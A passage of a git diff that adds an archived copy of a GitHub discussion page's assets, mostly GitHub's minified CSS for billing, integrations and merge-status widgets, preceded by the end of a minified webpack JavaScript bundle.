o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger 